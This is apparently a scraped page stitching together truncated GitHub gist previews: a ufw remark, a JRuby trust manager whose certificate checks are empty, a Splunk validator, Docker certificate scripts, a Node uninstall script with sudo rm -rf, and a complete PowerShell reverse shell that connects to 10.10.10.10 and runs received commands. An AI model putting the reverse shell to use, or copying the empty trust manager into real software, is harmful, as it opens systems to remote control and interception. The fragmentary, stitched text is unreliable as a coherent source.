I use Ubuntu’s Uncomplicated firewall because it is available on Ubuntu and it's very simple.
if ufw is not installed by default be sure to install it first.
| require 'java' | |
| class JavaTrustManager | |
| include javax.net.ssl.X509TrustManager | |
| include javax.net.ssl.HostnameVerifier | |
| # implementation of X509TrustManager | |
| def check_client_trusted(a, b); end | |
| def check_server_trusted(a, b); end | |
| def accepted_issuers |
| import splunk.admin as admin | |
| import splunk.entity as entity | |
| import splunk | |
| import logging | |
| import logging.handlers | |
| import os | |
| import re | |
| import copy | |
| class StandardFieldValidator(object): |
| # Generates necessary certificates to ~/.docker | |
| # | |
| # Usage: | |
| # bundle install | |
| # ruby certgen.rb <domain> | |
| require 'certificate_authority' | |
| require 'fileutils' | |
| if ARGV.empty? |
| # first: | |
| lsbom -f -l -s -pf /var/db/receipts/org.nodejs.pkg.bom | while read f; do sudo rm /usr/local/${f}; done | |
| sudo rm -rf /usr/local/lib/node /usr/local/lib/node_modules /var/db/receipts/org.nodejs.* | |
| # To recap, the best way (I've found) to completely uninstall node + npm is to do the following: | |
| # go to /usr/local/lib and delete any node and node_modules | |
| cd /usr/local/lib | |
| sudo rm -rf node* |
| #!/bin/sh | |
| BOOT2DOCKER_CERTS_DIR=/var/lib/boot2docker/certs | |
| CERTS_DIR=/etc/ssl/certs | |
| CAFILE=${CERTS_DIR}/ca-certificates.crt | |
| for cert in $(/bin/ls -1 ${BOOT2DOCKER_CERTS_DIR}); do | |
| SRC_CERT_FILE=${BOOT2DOCKER_CERTS_DIR}/${cert} | |
| CERT_FILE=${CERTS_DIR}/${cert} | |
| HASH_FILE=${CERTS_DIR}/$(/usr/local/bin/openssl x509 -noout -hash -in ${SRC_CERT_FILE} 2>/dev/null) |
| # Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
| $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |